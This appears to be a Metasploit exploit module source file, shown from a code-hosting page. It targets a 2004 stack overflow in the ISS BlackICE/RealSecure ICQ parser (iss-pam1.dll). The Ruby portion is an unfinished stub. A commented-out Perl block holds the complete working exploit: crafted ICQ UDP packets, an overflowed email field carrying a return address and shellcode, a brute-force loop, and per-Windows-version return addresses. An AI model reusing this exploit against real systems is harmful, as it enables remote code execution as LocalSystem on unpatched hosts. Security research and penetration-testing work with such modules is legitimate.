412 lines
11 KiB
Ruby
412 lines
11 KiB
Ruby
|
require 'msf/core'
|
||
|
|
||
|
module Msf
|
||
|
|
||
|
class Exploits::Windows::XXX_CHANGEME_XXX < Msf::Exploit::Remote
|
||
|
|
||
|
include Exploit::Remote::Tcp
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',
|
||
|
'Description' => %q{
|
||
|
This module exploits a stack overflow in the ISS products
|
||
|
that use the iss-pam1.dll ICQ parser (Blackice/RealSecure).
|
||
|
Successful exploitation will result in arbitrary code
|
||
|
execution as LocalSystem. This exploit only requires 1 UDP
|
||
|
packet, which can be both spoofed and sent to a broadcast
|
||
|
address.
|
||
|
|
||
|
The ISS exception handler will recover the process after
|
||
|
each overflow, giving us the ability to bruteforce the
|
||
|
service and exploit it multiple times.
|
||
|
|
||
|
Warning: Command execution payloads do not seem working,
|
||
|
this includes win32_adduser.
|
||
|
|
||
|
},
|
||
|
'Author' => [ 'spoonm' ],
|
||
|
'Version' => '$Revision$',
|
||
|
'References' =>
|
||
|
[
|
||
|
[ 'OSVDB', '4355'],
|
||
|
[ 'URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
|
||
|
[ 'URL', 'http://xforce.iss.net/xforce/alerts/id/166'],
|
||
|
[ 'MIL', '13'],
|
||
|
|
||
|
],
|
||
|
'Privileged' => true,
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 469,
|
||
|
'BadChars' => "\x00",
|
||
|
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
|
||
|
|
||
|
},
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[
|
||
|
'Automatic Targetting',
|
||
|
{
|
||
|
'Platform' => 'win32, win2000, winxp, win2003, winnt',
|
||
|
'Ret' => 0x0,
|
||
|
},
|
||
|
],
|
||
|
],
|
||
|
'DisclosureDate' => 'Mar 18 2004',
|
||
|
'DefaultTarget' => 0))
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
connect
|
||
|
|
||
|
handler
|
||
|
disconnect
|
||
|
end
|
||
|
|
||
|
=begin
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be redistributed
|
||
|
# according to the licenses defined in the Authors field below. In the
|
||
|
# case of an unknown or missing license, this file defaults to the same
|
||
|
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||
|
# version of the Framework can always be obtained from metasploit.com.
|
||
|
##
|
||
|
|
||
|
package Msf::Exploit::blackice_pam_icq;
|
||
|
use base 'Msf::Exploit';
|
||
|
use strict;
|
||
|
use Pex::Text;
|
||
|
|
||
|
my $advanced =
|
||
|
{
|
||
|
'BruteWait' => [5, 'Time to sleep between attempts, gives the SEH a chance to recover.'],
|
||
|
'AdvancedTargets' => [0, 'You should never really need this, just figured why not. This won\'t work with brute forcing either.'],
|
||
|
};
|
||
|
|
||
|
my $info =
|
||
|
{
|
||
|
'Name' => 'ISS PAM.dll ICQ Parser Buffer Overflow',
|
||
|
'Version' => '$Revision$',
|
||
|
'Authors' =>
|
||
|
[
|
||
|
'spoonm <ninjatools [at] hush.com>',
|
||
|
],
|
||
|
|
||
|
'Description' => Pex::Text::Freeform(qq{
|
||
|
This module exploits a stack overflow in the ISS products that use
|
||
|
the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation
|
||
|
will result in arbitrary code execution as LocalSystem. This exploit
|
||
|
only requires 1 UDP packet, which can be both spoofed and sent to a broadcast
|
||
|
address.
|
||
|
|
||
|
The ISS exception handler will recover the process after each overflow, giving
|
||
|
us the ability to bruteforce the service and exploit it multiple times.
|
||
|
|
||
|
Warning: Command execution payloads do not seem working, this includes win32_adduser.
|
||
|
}),
|
||
|
|
||
|
'Arch' => [ 'x86' ],
|
||
|
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003', 'winnt'],
|
||
|
'Priv' => 1,
|
||
|
|
||
|
'UserOpts' =>
|
||
|
{
|
||
|
'RHOST' => [1, 'ADDR', 'The target address'],
|
||
|
'RPORT' => [1, 'PORT', 'The target port (1 for random)', 1],
|
||
|
},
|
||
|
|
||
|
'Payload' =>
|
||
|
{
|
||
|
'Space' => 504 - 31 - 4,
|
||
|
'BadChars' => "\x00",
|
||
|
'MinNops' => 0,
|
||
|
'MaxNops' => 0,
|
||
|
'Prepend' => "\x81\xC4\x54\xF2\xFF\xFF", # add esp, -3500
|
||
|
'Keys' => ['+ws2ord'],
|
||
|
},
|
||
|
|
||
|
'Refs' =>
|
||
|
[
|
||
|
['OSVDB', '4355'],
|
||
|
['URL', 'http://www.eeye.com/html/Research/Advisories/AD20040318.html'],
|
||
|
['URL', 'http://xforce.iss.net/xforce/alerts/id/166'],
|
||
|
['MIL', '13'],
|
||
|
],
|
||
|
|
||
|
'DefaultTarget' => -1, # it defaults to this, but set anyway
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[1, 'Bruteforce All', 3 .. 9],
|
||
|
[1, 'Bruteforce iss-pam1.dll', 3 .. 4],
|
||
|
[1, 'Bruteforce NT 4.0', 8 .. 9],
|
||
|
[1, 'iss-pam1.dll 3.6.06', 0x5e0a473f],
|
||
|
[1, 'iss-pam1.dll 3.6.11', 0x5e0da1db],
|
||
|
|
||
|
[1, 'WinXP SP0 - SP1', 0x71aa3a4b], # ws2help.dll
|
||
|
|
||
|
[1, 'Win2003 SP0', 0x71bf3cc9], # ws2help.dll
|
||
|
|
||
|
# ey4s rocks, thanks for the ret man!
|
||
|
[1, 'Win2000 SP0 - SP4', 0x750231e2], # ws2help.dll
|
||
|
|
||
|
[1, 'WinNT SP3 / WinNT SP5 / WinNT SP6', 0x777e79ab], # samlib.dll
|
||
|
[1, 'WinNT SP4 / WinNT SP5', 0x7733b8db], # cfgmgr32.dll
|
||
|
|
||
|
# I love opcode db.
|
||
|
|
||
|
[0, 'WinXP SP0 / WinXP SP1 - shell32.dll', 0x776606af], # shell32.dll
|
||
|
[0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76b305a7], # atl.dll
|
||
|
[0, 'WinXP SP0 / WinXP SP1 - atl.dll', 0x76e61a21], # activeds.dll
|
||
|
[0, 'WinXP SP0 / WinXP SP1 - ws2_32.dll', 0x71ab7bfb], # ws2_32.dll
|
||
|
[0, 'WinXP SP0 / WinXP SP1 - mswsock.dll', 0x71a5403d], # mswsock.dll
|
||
|
|
||
|
[0, 'Win2000 SP2 / Win2000 SP3 - samlib.dll', 0x75159da3], # samlib.dll
|
||
|
[0, 'Win2000 SP0 / Win2000 SP1 - activeds.dll', 0x773d0beb], # activeds.dll
|
||
|
|
||
|
[0, 'WinNT SP5 / WinNT SP6 - advapi32.dll', 0x77dcd1cb], # advapi32.dll
|
||
|
[0, 'WinNT SP3 / WinNT SP5 / WinNT SP6 - shell32.dll', 0x77cec080], # shell32.dll
|
||
|
[0, 'WinNT SP5 / WinNT SP6 - mswsock.dll', 0x7767ebca], # mswsock.dll
|
||
|
],
|
||
|
|
||
|
'Keys' => ['blackice'],
|
||
|
|
||
|
'DisclosureDate' => 'Mar 18 2004',
|
||
|
|
||
|
};
|
||
|
|
||
|
# Override to do our advanced target foo
|
||
|
sub Targets {
|
||
|
my $self = shift;
|
||
|
my $targets = $self->SUPER::Targets;
|
||
|
my $newTargets = [ ];
|
||
|
my $advanced = !$self->GetLocal('AdvancedTargets') == 1;
|
||
|
|
||
|
foreach my $target (@{$targets}) {
|
||
|
if($target->[0] >= $advanced) {
|
||
|
my @target = @{$target};
|
||
|
shift(@target);
|
||
|
push(@{$newTargets}, \@target);
|
||
|
}
|
||
|
}
|
||
|
return($newTargets);
|
||
|
}
|
||
|
|
||
|
sub new {
|
||
|
my $class = shift;
|
||
|
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||
|
return($self);
|
||
|
}
|
||
|
|
||
|
sub Exploit {
|
||
|
my $self = shift;
|
||
|
my $targetHost = $self->GetVar('RHOST');
|
||
|
my $targetIndex = $self->GetVar('TARGET');
|
||
|
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
|
||
|
|
||
|
# Pad shellcode to size
|
||
|
$shellcode .= Pex::Text::EnglishText($self->PayloadSpace - length($shellcode));
|
||
|
|
||
|
my $target = $self->Targets->[$targetIndex];
|
||
|
|
||
|
$self->PrintLine;
|
||
|
$self->PrintLine('[*] !!! Note: The connection will not close after shellcode is finished');
|
||
|
$self->PrintLine(' (atleast when using SEH). This is because the SEH handler');
|
||
|
$self->PrintLine(' recovers after bad exceptions (good for us).');
|
||
|
$self->PrintLine;
|
||
|
|
||
|
my @targets;
|
||
|
|
||
|
if(@{$target} == 2) {
|
||
|
@targets = ($targetIndex);
|
||
|
}
|
||
|
else {
|
||
|
@targets = @{$target};
|
||
|
my $name = shift(@targets);
|
||
|
$self->PrintLine('[*] Trying Multiple Targets - ' . $name);
|
||
|
}
|
||
|
|
||
|
foreach $targetIndex (@targets) {
|
||
|
my $target = $self->Targets->[$targetIndex];
|
||
|
my $addr = $target->[1];
|
||
|
|
||
|
$self->PrintLine(sprintf('[*] Trying %s - 0x%08x', $target->[0], $addr));
|
||
|
|
||
|
my $port = $self->_targetPort;
|
||
|
my $sock = Msf::Socket::Udp->new
|
||
|
(
|
||
|
'PeerAddr' => $targetHost,
|
||
|
'PeerPort' => $port,
|
||
|
'LocalPort' => 4000,
|
||
|
);
|
||
|
if ($sock->IsError) {
|
||
|
$self->PrintLine('[*] Error creating socket: ' . $sock->GetError);
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
# http://www.cs.berkeley.edu/~mikechen/im/protocols/icq/icqv5.html
|
||
|
# ISS's parser disagrees with both the above protocol and ethereal's disector
|
||
|
|
||
|
# God I'm so sick of this exploit by now, heh.
|
||
|
# ISS's parser seems totally broked, so this protocol is a fudge of the real one.
|
||
|
|
||
|
my $header = Pex::Struct->new(
|
||
|
[
|
||
|
'version' => 'l_u_16',
|
||
|
'unknown0' => 'u_8',
|
||
|
'sessionId' => 'l_u_32',
|
||
|
'command' => 'l_u_16',
|
||
|
'seqnum1' => 'l_u_16',
|
||
|
'seqnum2' => 'l_u_16',
|
||
|
'uin' => 'l_u_32',
|
||
|
'checkcode' => 'l_u_32',
|
||
|
]
|
||
|
);
|
||
|
|
||
|
$header->Set(
|
||
|
'version' => 5,
|
||
|
'unknown0' => 0,
|
||
|
'sessionId' => 0,
|
||
|
'command' => 530, # SRV_MULTI
|
||
|
'seqnum1' => 0,
|
||
|
'seqnum2' => 0,
|
||
|
'uin' => 1161044754,
|
||
|
|
||
|
# 'uin' => 0,
|
||
|
'checkcode' => 0,
|
||
|
);
|
||
|
|
||
|
# Packet 1 USER_ONLINE
|
||
|
my $userOnline = Pex::Struct->new(
|
||
|
[
|
||
|
'header' => 'struct',
|
||
|
'uinOnline' => 'l_u_32',
|
||
|
'ip' => 'l_u_32',
|
||
|
'port' => 'l_u_32',
|
||
|
'realIp' => 'l_u_32',
|
||
|
'unknown1' => 'u_8',
|
||
|
'status' => 'l_u_32',
|
||
|
'unknown2' => 'l_u_32',
|
||
|
],
|
||
|
);
|
||
|
|
||
|
my $headerOnline = $header->copy;
|
||
|
$headerOnline->Set('command', 110); # SRV_USER_ONLINE
|
||
|
|
||
|
$userOnline->Set(
|
||
|
'header' => $headerOnline,
|
||
|
'uinOnline' => 1161044754,
|
||
|
'ip' => 1,
|
||
|
'port' => 0,
|
||
|
'realIp' => 0,
|
||
|
'unknown1' => 0,
|
||
|
'status' => 0,
|
||
|
'unknown2' => 0,
|
||
|
);
|
||
|
|
||
|
# Packet 2 META_USER
|
||
|
my $metaUser = Pex::Struct->new(
|
||
|
[
|
||
|
'header' => 'struct',
|
||
|
'subcommand' => 'l_u_16',
|
||
|
'success' => 'u_8',
|
||
|
'nickLength' => 'l_u_16',
|
||
|
'nick' => 'string',
|
||
|
'firstNameLength' => 'l_u_16',
|
||
|
'firstName' => 'string',
|
||
|
'lastNameLength' => 'l_u_16',
|
||
|
'lastName' => 'string',
|
||
|
'emailLength' => 'l_u_16',
|
||
|
'email' => 'string',
|
||
|
'authorize' => 'u_8',
|
||
|
'unknown1' => 'l_u_16',
|
||
|
'unknown2' => 'l_u_32',
|
||
|
],
|
||
|
);
|
||
|
|
||
|
my $headerMeta = $header->copy;
|
||
|
$headerMeta->Set('command', 990); # SRV_META_USER
|
||
|
$headerMeta->Set('uin', 2018915346);
|
||
|
|
||
|
# Evilness
|
||
|
|
||
|
my $nick = '';
|
||
|
my $firstName = '';
|
||
|
my $lastName = '';
|
||
|
|
||
|
# my $email = 'A' x 19;
|
||
|
my $email = Pex::Text::EnglishText(19);
|
||
|
$email .= pack('V', $addr);
|
||
|
$email .= $shellcode;
|
||
|
|
||
|
$metaUser->SetSizeField(
|
||
|
'nick' => 'nickLength',
|
||
|
'firstName' => 'firstNameLength',
|
||
|
'lastName' => 'lastNameLength',
|
||
|
'email' => 'emailLength',
|
||
|
);
|
||
|
|
||
|
$metaUser->Set(
|
||
|
'header' => $headerMeta,
|
||
|
'subcommand' => 0, # META_USER_FOUND (Should be 410, iss, wtf?)
|
||
|
'success' => 10, # Success
|
||
|
'nick' => $nick,
|
||
|
'firstName' => $firstName,
|
||
|
'lastName' => $lastName,
|
||
|
'email' => $email,
|
||
|
'authorize' => 0, # don't ask permission (docs and ethereal conflict)
|
||
|
'unknown1' => 0,
|
||
|
'unknown2' => 0,
|
||
|
);
|
||
|
|
||
|
my $multi = Pex::Struct->new(
|
||
|
[
|
||
|
'header' => 'struct',
|
||
|
'numPackets' => 'u_8',
|
||
|
'packet1Length' => 'l_u_16',
|
||
|
'packet1' => 'struct',
|
||
|
'packet2Length' => 'l_u_16',
|
||
|
'packet2' => 'struct',
|
||
|
],
|
||
|
);
|
||
|
|
||
|
$multi->Set(
|
||
|
'packet2Length' => length($metaUser),
|
||
|
);
|
||
|
|
||
|
$multi->Set(
|
||
|
'header' => $header,
|
||
|
'numPackets' => 2,
|
||
|
'packet1Length' => $userOnline->Length,
|
||
|
'packet1' => $userOnline,
|
||
|
'packet2Length' => $metaUser->Length,
|
||
|
'packet2' => $metaUser,
|
||
|
);
|
||
|
|
||
|
my $request = $multi->Fetch;
|
||
|
|
||
|
$self->PrintLine('[*] Sending UDP Request (Dest Port: ' . $port . ') (' . length($request) . ' bytes)');
|
||
|
|
||
|
$sock->Send($request);
|
||
|
|
||
|
$self->PrintLine('[*] Sleeping (giving exception handle time to recover).');
|
||
|
sleep($self->GetLocal('BruteWait'));
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
sub _targetPort {
|
||
|
my $self = shift;
|
||
|
my $targetPort = $self->GetVar('RPORT');
|
||
|
return($targetPort) if($targetPort != 1);
|
||
|
return(int(rand(65536 - 2000)) + 2000);
|
||
|
}
|
||
|
|
||
|
|
||
|
=end
|
||
|
|
||
|
|
||
|
end
|
||
|
end
|